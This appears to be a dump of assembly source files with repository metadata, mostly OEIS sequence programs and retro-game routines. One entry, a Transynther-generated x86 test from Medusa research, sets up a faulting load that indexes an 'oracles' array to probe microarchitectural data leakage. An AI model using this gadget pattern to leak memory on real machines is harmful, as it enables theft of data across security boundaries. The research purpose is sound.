39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
42.891473
2,999
0.664558
1284de727e546a54d90946aa37ff48c427ddd831
535
asm
Assembly
programs/oeis/315/A315760.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/315/A315760.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/315/A315760.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A315760: Coordination sequence Gal.6.638.6 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; 1,6,12,18,24,29,34,39,44,50,56,62,68,74,80,86,92,97,102,107,112,118,124,130,136,142,148,154,160,165,170,175,180,186,192,198,204,210,216,222,228,233,238,243,248,254,260,266,272,278 mov $2,$0 mov $3,$0 add $0,5 trn $3,1 lpb $0,1 sub $0,1 trn $0,8 mov $1,$3 add $1,5 sub $1,$0 trn $0,3 sub $3,4 lpe lpb $2,1 add $1,5 sub $2,1 lpe sub $1,4
24.318182
181
0.665421
b453e3110b3aff1a6f828b39bbbffb690597dcc7
431
asm
Assembly
oeis/028/A028159.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/028/A028159.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/028/A028159.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A028159: Expansion of 1/((1-4x)(1-8x)(1-10x)(1-12x)). ; Submitted by Jon Maiga ; 1,34,740,13160,208656,3075744,43147840,584341120,7711252736,99794799104,1272281687040,16031996897280,200167551471616,2480945949220864,30569500530851840,374885865442672640 mov $1,1 mov $2,$0 mov $3,$0 lpb $2 mov $0,$3 dif $2,26 sub $2,1 sub $0,$2 seq $0,19747 ; Expansion of 1/((1-4x)(1-10x)(1-12x)). mul $1,8 add $1,$0 lpe mov $0,$1
23.944444
172
0.689095
0ed2f2dd3774deae7eb0b3400185f75f83f2de66
6,420
asm
Assembly
home/audio.asm
AtmaBuster/pc16-tpp1
bdfbefbf4db1529f0cd64729bcb28c59c661ae84
[ "blessing" ]
3
2021-09-09T00:28:48.000Z
2022-02-21T03:41:22.000Z
home/audio.asm
AtmaBuster/pc16-tpp1
bdfbefbf4db1529f0cd64729bcb28c59c661ae84
[ "blessing" ]
null
null
null
home/audio.asm
AtmaBuster/pc16-tpp1
bdfbefbf4db1529f0cd64729bcb28c59c661ae84
[ "blessing" ]
1
2021-09-09T00:29:03.000Z
2021-09-09T00:29:03.000Z
; Audio interfaces. MapSetup_Sound_Off:: push hl push de push bc push af ldh a, [hROMBank] push af ld a, BANK(_MapSetup_Sound_Off) ldh [hROMBank], a ld [TPP1RomBank], a call _MapSetup_Sound_Off pop af ldh [hROMBank], a ld [TPP1RomBank], a pop af pop bc pop de pop hl ret UpdateSound:: push hl push de push bc push af ldh a, [hROMBank] push af ld a, BANK(_UpdateSound) ldh [hROMBank], a ld [TPP1RomBank], a call _UpdateSound pop af ldh [hROMBank], a ld [TPP1RomBank], a pop af pop bc pop de pop hl ret _LoadMusicByte:: ; wCurMusicByte = [a:de] ldh [hROMBank], a ld [TPP1RomBank], a ld a, [de] ld [wCurMusicByte], a ld a, BANK(LoadMusicByte) ldh [hROMBank], a ld [TPP1RomBank], a ret PlayMusic:: ; Play music de. push hl push de push bc push af ldh a, [hROMBank] push af ld a, BANK(_PlayMusic) ; aka BANK(_MapSetup_Sound_Off) ldh [hROMBank], a ld [TPP1RomBank], a ld a, e and a jr z, .nomusic call _PlayMusic jr .end .nomusic call _MapSetup_Sound_Off .end pop af ldh [hROMBank], a ld [TPP1RomBank], a pop af pop bc pop de pop hl ret PlayMusic2:: ; Stop playing music, then play music de. push hl push de push bc push af ldh a, [hROMBank] push af ld a, BANK(_PlayMusic) ldh [hROMBank], a ld [TPP1RomBank], a push de ld de, MUSIC_NONE call _PlayMusic call DelayFrame pop de call _PlayMusic pop af ldh [hROMBank], a ld [TPP1RomBank], a pop af pop bc pop de pop hl ret PlayCry:: ; Play cry de. push hl push de push bc push af ldh a, [hROMBank] push af ; Cries are stuck in one bank. ld a, BANK(PokemonCries) ldh [hROMBank], a ld [TPP1RomBank], a ld hl, PokemonCries rept 6 ; sizeof(mon_cry) add hl, de endr ld e, [hl] inc hl ld d, [hl] inc hl ld a, [hli] ld [wCryPitch], a ld a, [hli] ld [wCryPitch + 1], a ld a, [hli] ld [wCryLength], a ld a, [hl] ld [wCryLength + 1], a ld a, BANK(_PlayCry) ldh [hROMBank], a ld [TPP1RomBank], a call _PlayCry pop af ldh [hROMBank], a ld [TPP1RomBank], a pop af pop bc pop de pop hl ret PlaySFX:: ; Play sound effect de. ; Sound effects are ordered by priority (highest to lowest) push hl push de push bc push af ; Is something already playing? call CheckSFX jr nc, .play ; Does it have priority? ld a, [wCurSFX] cp e jr c, .done .play ldh a, [hROMBank] push af ld a, BANK(_PlaySFX) ldh [hROMBank], a ld [TPP1RomBank], a ld a, e ld [wCurSFX], a call _PlaySFX pop af ldh [hROMBank], a ld [TPP1RomBank], a .done pop af pop bc pop de pop hl ret WaitPlaySFX:: call WaitSFX jp PlaySFX WaitSFX:: ; infinite loop until sfx is done playing push hl .wait ld hl, wChannel5Flags1 bit 0, [hl] jr nz, .wait ld hl, wChannel6Flags1 bit 0, [hl] jr nz, .wait ld hl, wChannel7Flags1 bit 0, [hl] jr nz, .wait ld hl, wChannel8Flags1 bit 0, [hl] jr nz, .wait pop hl ret IsSFXPlaying:: ; Return carry if no sound effect is playing. ; The inverse of CheckSFX. push hl ld hl, wChannel5Flags1 bit 0, [hl] jr nz, .playing ld hl, wChannel6Flags1 bit 0, [hl] jr nz, .playing ld hl, wChannel7Flags1 bit 0, [hl] jr nz, .playing ld hl, wChannel8Flags1 bit 0, [hl] jr nz, .playing pop hl scf ret .playing pop hl and a ret MaxVolume:: ld a, MAX_VOLUME ld [wVolume], a ret LowVolume:: ld a, $33 ; 40% ld [wVolume], a ret VolumeOff:: xor a ld [wVolume], a ret Unused_FadeOutMusic:: ld a, 4 ld [wMusicFade], a ret FadeInMusic:: ld a, 4 | (1 << MUSIC_FADE_IN_F) ld [wMusicFade], a ret SkipMusic:: ; Skip a frames of music. .loop and a ret z dec a call UpdateSound jr .loop FadeToMapMusic:: push hl push de push bc push af call GetMapMusic_MaybeSpecial ld a, [wMapMusic] cp e jr z, .done ld a, 8 ld [wMusicFade], a ld a, e ld [wMusicFadeID], a ld a, d ld [wMusicFadeID + 1], a ld a, e ld [wMapMusic], a .done pop af pop bc pop de pop hl ret PlayMapMusic:: push hl push de push bc push af call GetMapMusic_MaybeSpecial ld a, [wMapMusic] cp e jr z, .done push de ld de, MUSIC_NONE call PlayMusic call DelayFrame pop de ld a, e ld [wMapMusic], a call PlayMusic .done pop af pop bc pop de pop hl ret EnterMapMusic:: push hl push de push bc push af xor a ld [wDontPlayMapMusicOnReload], a ld de, MUSIC_BICYCLE ld a, [wPlayerState] cp PLAYER_BIKE jr z, .play call GetMapMusic_MaybeSpecial .play push de ld de, MUSIC_NONE call PlayMusic call DelayFrame pop de ld a, e ld [wMapMusic], a call PlayMusic pop af pop bc pop de pop hl ret TryRestartMapMusic:: ld a, [wDontPlayMapMusicOnReload] and a jr z, RestartMapMusic xor a ld [wMapMusic], a ld de, MUSIC_NONE call PlayMusic call DelayFrame xor a ld [wDontPlayMapMusicOnReload], a ret RestartMapMusic:: push hl push de push bc push af ld de, MUSIC_NONE call PlayMusic call DelayFrame ld a, [wMapMusic] ld e, a ld d, 0 call PlayMusic pop af pop bc pop de pop hl ret SpecialMapMusic:: ld a, [wPlayerState] cp PLAYER_SURF jr z, .surf cp PLAYER_SURF_PIKA jr z, .surf ld a, [wStatusFlags2] bit STATUSFLAGS2_BUG_CONTEST_TIMER_F, a jr nz, .contest .no and a ret .bike ld de, MUSIC_BICYCLE scf ret .surf ld de, MUSIC_SURF scf ret .contest ld a, [wMapGroup] cp GROUP_ROUTE_35_NATIONAL_PARK_GATE jr nz, .no ld a, [wMapNumber] cp MAP_ROUTE_35_NATIONAL_PARK_GATE jr z, .ranking cp MAP_ROUTE_36_NATIONAL_PARK_GATE jr nz, .no .ranking ld de, MUSIC_BUG_CATCHING_CONTEST_RANKING scf ret GetMapMusic_MaybeSpecial:: call SpecialMapMusic ret c jp GetMapMusic CheckSFX:: ; Return carry if any SFX channels are active. ld a, [wChannel5Flags1] bit 0, a jr nz, .playing ld a, [wChannel6Flags1] bit 0, a jr nz, .playing ld a, [wChannel7Flags1] bit 0, a jr nz, .playing ld a, [wChannel8Flags1] bit 0, a jr nz, .playing and a ret .playing scf ret TerminateExpBarSound:: xor a ld [wChannel5Flags1], a ld [wSoundInput], a ldh [rNR10], a ldh [rNR11], a ldh [rNR12], a ldh [rNR13], a ldh [rNR14], a ret ChannelsOff:: ; Quickly turn off music channels xor a ld [wChannel1Flags1], a ld [wChannel2Flags1], a ld [wChannel3Flags1], a ld [wChannel4Flags1], a ld [wSoundInput], a ret SFXChannelsOff:: ; Quickly turn off sound effect channels xor a ld [wChannel5Flags1], a ld [wChannel6Flags1], a ld [wChannel7Flags1], a ld [wChannel8Flags1], a ld [wSoundInput], a ret
12.417795
59
0.681931
6b0ca5dcf8a2553daff4f099418b5044b594addb
658
asm
Assembly
oeis/162/A162959.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/162/A162959.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/162/A162959.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A162959: The pairs (x,y) such that (x^2 + y^2)/(x*y + 1) is a perfect square, i.e., 4. ; 0,2,2,8,8,30,30,112,112,418,418,1560,1560,5822,5822,21728,21728,81090,81090,302632,302632,1129438,1129438,4215120,4215120,15731042,15731042,58709048,58709048,219105150,219105150,817711552,817711552,3051741058,3051741058,11389252680,11389252680,42505269662,42505269662,158631825968,158631825968,592022034210,592022034210,2209456310872,2209456310872,8245803209278,8245803209278,30773756526240,30773756526240,114849222895682,114849222895682,428623135056488,428623135056488,1599643317330270 lpb $0 trn $0,2 add $1,$2 add $1,2 add $2,$1 add $2,$1 lpe mov $0,$1
54.833333
488
0.791793
8b1f633412c748495c529b5caa2989d39a494a37
6,312
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1554.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1554.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1554.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %rbx push %rcx push %rdi push %rsi lea addresses_A_ht+0x127ac, %rsi lea addresses_A_ht+0x14cec, %rdi nop sub %rbx, %rbx mov $99, %rcx rep movsq add $52746, %rcx lea addresses_normal_ht+0x134ac, %rsi lea addresses_WC_ht+0x18ee7, %rdi nop xor %r12, %r12 mov $122, %rcx rep movsb nop nop nop xor %rcx, %rcx lea addresses_WT_ht+0x16a60, %rsi lea addresses_WC_ht+0x5714, %rdi clflush (%rsi) nop nop nop nop nop dec %r13 mov $83, %rcx rep movsb nop nop nop nop nop and %rdi, %rdi lea addresses_WT_ht+0x1dd64, %r13 nop xor $58852, %rcx vmovups (%r13), %ymm6 vextracti128 $1, %ymm6, %xmm6 vpextrq $0, %xmm6, %r12 and %r13, %r13 pop %rsi pop %rdi pop %rcx pop %rbx pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r12 push %r9 push %rax push %rbx push %rcx push %rdi push %rsi // Store lea addresses_WT+0x4a84, %rbx clflush (%rbx) nop nop nop nop nop xor %rcx, %rcx mov $0x5152535455565758, %rdi movq %rdi, %xmm5 vmovups %ymm5, (%rbx) nop nop sub $50, %r9 // Store lea addresses_PSE+0x107ac, %rcx nop nop nop nop add %r12, %r12 mov $0x5152535455565758, %rbx movq %rbx, %xmm3 vmovups %ymm3, (%rcx) nop nop nop add %r12, %r12 // Store lea addresses_PSE+0x17ac, %rcx sub %rax, %rax movb $0x51, (%rcx) nop nop xor $49098, %r12 // Store lea addresses_WC+0x179ac, %r12 nop nop nop nop nop xor %r9, %r9 mov $0x5152535455565758, %rbx movq %rbx, %xmm0 movups %xmm0, (%r12) add $13295, %rdi // Store lea addresses_A+0xc72c, %rcx nop nop add %rdi, %rdi movw $0x5152, (%rcx) nop nop nop nop add %rbx, %rbx // Faulty Load lea addresses_RW+0x1afac, %r9 and $27498, %rax movb (%r9), %bl lea oracles, %r12 and $0xff, %rbx shlq $12, %rbx mov (%r12,%rbx,1), %rbx pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r9 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': True, 'type': 'addresses_RW'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 1, 'same': False, 'type': 'addresses_WT'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 11, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 11, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 7, 'same': False, 'type': 'addresses_WC'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 6, 'same': False, 'type': 'addresses_A'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': True, 'type': 'addresses_RW'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 4, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'} {'src': {'congruent': 8, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'} {'src': {'congruent': 2, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'} {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 2, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
37.571429
2,999
0.657161
8c8d17a7da2985bad652857430fe3a312a6552aa
685
asm
Assembly
oeis/097/A097778.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/097/A097778.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/097/A097778.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A097778: Chebyshev polynomials S(n,23) with Diophantine property. ; Submitted by Jamie Morken(s1) ; 1,23,528,12121,278255,6387744,146639857,3366328967,77278926384,1774048977865,40725847564511,934920445005888,21462444387570913,492701300469125111,11310667466402306640,259652650426783927609,5960700292349628028367,136836454073614660724832,3141277743400787568642769,72112551644144499418058855,1655447410071922699046710896,38003177880010077578656291753,872417643830159861610047999423,20027602630213666739452447694976,459762442851084175145796248985025,10554508582944722361613861278960599 add $0,1 lpb $0 sub $0,1 mov $1,$3 mul $1,21 add $2,1 add $2,$1 add $3,$2 lpe mov $0,$2
45.666667
483
0.849635
eccdb5edafaba3bb68d1bede1f3129e7132c8062
132
asm
Assembly
libsrc/_DEVELOPMENT/math/float/am9511/lam32/z80/asm_dmulpow2.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/math/float/am9511/lam32/z80/asm_dmulpow2.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/math/float/am9511/lam32/z80/asm_dmulpow2.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_clib SECTION code_fp_am9511 PUBLIC asm_dmulpow2 EXTERN asm_am9511_dmulpow2 defc asm_dmulpow2 = asm_am9511_dmulpow2
13.2
39
0.871212
22a94de96c8891019c2b139c44998ba17b346407
358
asm
Assembly
programs/oeis/130/A130823.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/130/A130823.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/130/A130823.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A130823: Each odd number appears thrice. ; 1,1,1,3,3,3,5,5,5,7,7,7,9,9,9,11,11,11,13,13,13,15,15,15,17,17,17,19,19,19,21,21,21,23,23,23,25,25,25,27,27,27,29,29,29,31,31,31,33,33,33,35,35,35,37,37,37,39,39,39,41,41,41,43,43,43,45,45,45,47,47,47,49,49,49,51,51,51,53,53,53,55,55,55,57,57,57,59,59,59,61,61,61,63,63,63,65,65,65,67 div $0,3 mul $0,2 add $0,1
51.142857
286
0.650838
16800d91ff62aa1265cf6238770f07f21ad07760
637
asm
Assembly
oeis/014/A014801.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/014/A014801.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/014/A014801.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A014801: Squares of odd hexagonal pyramidal numbers. ; Submitted by Christian Krause ; 1,49,9025,25921,275625,511225,2393209,3705625,11675889,16378209,40844881,53831569,115025625,145226601,278055625,340218025,600103009,716900625,1186595809,1391066209,2188461961,2526771289,3813680025,4348215481,6340140625,7152930625,10129818609,11326280625,15644255929,17357272009,23461355241,25855675209,34293484225,37570456561,49006890625,53409521025,68642428009,74460765625,94437592249,102014443609,127849868721,137586839329,170581390225,182945253841,224604905625,240134301225,292191059209 seq $0,15225 ; Odd hexagonal pyramidal numbers. pow $0,2
91
491
0.871272
f2b94338961d70e1c98532514bf55b81f5891d7d
928
asm
Assembly
asm/title_image.asm
tashiww/maten_tools
efaf43958639edfdcd342615f4c23ccba35d80ce
[ "MIT" ]
1
2021-05-14T19:14:38.000Z
2021-05-14T19:14:38.000Z
asm/title_image.asm
tashiww/maten_tools
efaf43958639edfdcd342615f4c23ccba35d80ce
[ "MIT" ]
null
null
null
asm/title_image.asm
tashiww/maten_tools
efaf43958639edfdcd342615f4c23ccba35d80ce
[ "MIT" ]
null
null
null
ImageSource equr a0 ; ram.. rom? ImageDestination equr a5 ; vram Length equr d0 ; $314 maybe ; $21BC is vram copy subroutine? org $1158 title_screen: MOVE.w #$c90, d1 ; size of DMA copy, long to include "press start" JSR new_title org $68a00 new_title: MOVE.l #$1411, d0 LEA $FF3ce0, a1 MOVEm.l a1/d0, -(a7) LEA $f4480, a0 LEA $F5FFE, a1 MOVE #$6000, a1 move.w d1, d2 ;subi.w #$200, d2 move.w d2, d0 move.l #$1, d3 JSR $21bc MOVEm.l (a7)+, d0/a1 ;LEA $FF32B8, a0 ;LEA $FF3ccc, a3 ;LEA $60e2c, a4 MOVE.l #$6000, a5 ; most of this probably isn't necessary.. just trying to set it back to intended state? move.l #$41421000, d0 clr d1 clr d2 clr d3 LEA $605ea, a6 RTS org $19b30 prologue_title: MOVE.w #$9a0, d1 JSR new_title WHILE *<$19b42 NOP ENDW ; trying not to step on next LEA at $19b42 org $f4480 incbin "./images/new_title_samurai.bin" org $f57c0 incbin "./images/press_start.bin"
19.333333
106
0.673491
91d90a7db8cacb27361c47d469704eb9d3851bf7
494
asm
Assembly
oeis/044/A044800.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/044/A044800.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/044/A044800.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A044800: Numbers n such that string 8,7 occurs in the base 10 representation of n but not of n+1. ; Submitted by Christian Krause ; 87,187,287,387,487,587,687,787,879,887,987,1087,1187,1287,1387,1487,1587,1687,1787,1879,1887,1987,2087,2187,2287,2387,2487,2587,2687,2787,2879,2887,2987,3087,3187,3287,3387,3487,3587 add $0,1 mul $0,10 mov $1,$0 add $0,9 div $0,11 mul $0,46 sub $1,3 div $1,11 add $1,3 add $0,$1 add $0,$1 add $0,$1 add $0,$1 sub $0,9 mul $0,20 sub $0,980 div $0,10 add $0,87
21.478261
184
0.696356
ded02fac883da32e11aed824dfd403f23b830f93
94
asm
Assembly
libsrc/target/homelab/stdio/getk.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/target/homelab/stdio/getk.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
